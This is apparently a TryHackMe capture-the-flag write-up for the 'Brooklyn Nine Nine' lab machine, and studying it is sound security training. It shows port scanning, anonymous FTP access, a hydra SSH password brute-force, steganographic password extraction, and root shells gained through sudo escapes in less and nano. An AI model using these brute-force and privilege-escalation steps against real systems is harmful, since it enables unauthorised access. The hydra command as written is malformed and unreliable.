> For the complete documentation index, see [llms.txt](https://writeups.adityadindi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.adityadindi.com/tryhackme/untitled/brooklyn-nine-nine.md). # Brooklyn Nine Nine ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbbJJuW6us7LUeO2nNS%2F-MbbrLdUUMlPBescrUcv%2Fimage.png?alt=media\&token=e83f9a77-2531-40da-b153-17a7ac79900a) ## Reconnaissance Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**) ``` nmap -Pn 10.10.146.230 ``` ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbtMnQvlivMdfrfDot%2Fimage.png?alt=media\&token=758a511c-1e23-4b06-ad78-fbd9b4d602b8) Detailed Nmap Scan : Command Breakdown: * (**-sV):** Service version * (**-sC**): Default nmap scripts * (**-p):** Specifying ports 21,22,80 * (**-oN nmap**): Saving it into a files called nmap ``` nmap -sV -sC -p 21,22,80 -oN nmap 10.10.146.230 ``` ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbtPTUPROqxT0yQEyY%2Fimage.png?alt=media\&token=ef57781f-3a9c-4409-b4c0-aca983430004) ## Enumeration ### Port 21: FTP Looks like we can login through ftp as anonymous, lets do that. (We use anonymous for both username and password or you can just hit enter for password) ``` ftp 10.10.146.230 ``` ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-Mbbu6IOris1hRup8wlF%2Fimage.png?alt=media\&token=2e40d9b3-872a-4e09-9673-b45ac6535235) Lets list the file in this directory ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbuCuXCQVoTDsmaXIk%2Fimage.png?alt=media\&token=013a7f02-c99e-4c43-9952-2bcfb776b513) Looks like there is a file which is a note to a person called `Jake`, lets transfer this file to our machine and read what it has to say. ``` get note_to_jake.txt ``` ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbuYIoMld1HSwSzmnF%2Fimage.png?alt=media\&token=faccdb21-4591-44ec-97de-05dec4ccc9cb) Lets now read the file ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbueQcLUC1u72G0b2o%2Fimage.png?alt=media\&token=92b8fd8e-a375-404c-9953-db9eecc2c072) Looks like Jake did not change his password as mentioned by a person called `Amy`. We also have a username `Holt`, we now have three usernames ### Port 80: HTTP Lets visit the website ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbvCvugiKlsF1OzRPY%2Fimage.png?alt=media\&token=32c5b9f9-2a3f-43af-a31e-4e011e6ce785) Its a Brooklyn Nine Nine poster, lets look at the source code. ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbvMnCUE6MqLLqk2L6%2Fimage.png?alt=media\&token=53a85087-664d-475c-b184-aa6bc34d54f7) We have something interesting, they mention steganography, which is the practice of concealing a message within message. So lets download the image onto our machine, the name of the image is in the source code ``` wget http://10.10.146.230/brooklyn99.jpg ``` ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbyEQBOmCFeUN9VM3w%2Fimage.png?alt=media\&token=d23ed591-5f0c-4345-883e-f128c6f13085) ## Exploitation ### FTP We can try to use hydra to find the password for `Jake`. ``` hydra -l jake -P /usr/share/wordlists/rockyou.txt http://10.10.146.230 ssh ``` ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbwW38KRAl9P445u84%2Fimage.png?alt=media\&token=aaec6167-5b16-4013-83c8-c23d8eeb9040) We found the password, so lets login through ssh. ``` ssh jake@10.10.146.230 ``` ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbwgqpnNJ4VELClzRN%2Fimage.png?alt=media\&token=ea12b6ee-9f3a-415b-9a7d-035eade0ac82) And we are logged in. We can find the user flag here. ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbxBSy1KC7ovgimTSI%2Fimage.png?alt=media\&token=e54c16a7-a945-41de-8135-3dd312cf3500) ### HTTP We can use a tool called [stegcracker ](https://github.com/Paradoxis/StegCracker)to find hidden messages within files. If you do not have it you can download it with this command ``` apt get install stegcracker ``` ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbzL7RTt9tDhJ8MUff%2Fimage.png?alt=media\&token=bbdf5e1a-1352-45eb-989a-3d31b22b1d8d) Now you can use stegcracker ``` stegcracker brooklyn99.jpg ``` ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbzuM9FafeQmFeV9DU%2Fimage.png?alt=media\&token=7724d3be-0b9a-4a0c-9866-914b44e34ac6) We have the password, this can be the password for the file. Lets see what the file is hiding ``` steghide --extract -sf brooklyn99.jpg ``` ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-Mbc03xnTMxMQXWtzFSV%2Fimage.png?alt=media\&token=2557ec7c-38a7-42af-b13e-70c82e4db9b8) Now we have the password for Holt, lets login through ssh. ``` ssh holt@10.10.146.230 ``` ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-Mbc0H1hB--CrPgzsIjK%2Fimage.png?alt=media\&token=3876caaf-4609-439f-bdd3-cbd9d6abd612) ## Privilege Escalation ### Jake Lets run `sudo -l` to see what Jake can run as root. ``` sudo -l ``` ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbxI7vH4249OUCUh99%2Fimage.png?alt=media\&token=fc41ced8-6b40-41cc-bbb8-928ca4bce907) Looks like we can run the less command, with which we can see contents of files, so lets run the command to check what `/root/root.txt` contains. ``` sudo /usr/bin/less /root/root.txt ``` ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-MbbxcLSPasCfPWdok5R%2Fimage.png?alt=media\&token=a05a2505-d830-4f0c-83b1-1a0972b5ecda) We can also try to become root using the commands found in [GTFOBins ](https://gtfobins.github.io/gtfobins/less/#sudo) ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-Mbc0nwkQoc1wF1MpyUU%2Fimage.png?alt=media\&token=cf0194b6-5bf0-41b0-9a69-0949ca0e4b28) Lets use these commands to become root. ``` sudo less /etc/profile !/bin/sh ``` ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-Mbc0xYagAHxBaGtGbUs%2Fimage.png?alt=media\&token=62db2713-c4b6-41ab-9f81-5556d1074649) ### Holt Lets run `sudo -l` to see what Holt can run as root. ``` sudo -l ``` ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-Mbc1EaMR9_n7t5LhH-S%2Fimage.png?alt=media\&token=027047ad-97f4-4da5-8cb3-f69b1aeadc2b) We can nano as root, so lets go to [GTFOBins ](https://gtfobins.github.io/gtfobins/nano/#sudo)to find the commands to escalate privilege's to root. ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-Mbc1UnVqeFu89dKcvha%2Fimage.png?alt=media\&token=e9df2c2c-baa3-42e4-9d53-b612bf26cb91) Lets run these commands ``` sudo nano ^R^X reset; sh 1>&0 2>&0 ``` ![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbbst6BB0g0q5Yugbi7%2F-Mbc1j9VF9SUJhmjc4za%2Fimage.png?alt=media\&token=4f498002-8f72-4e68-8297-1da508de45ab) We are now root. You can find the root flag in `/root/`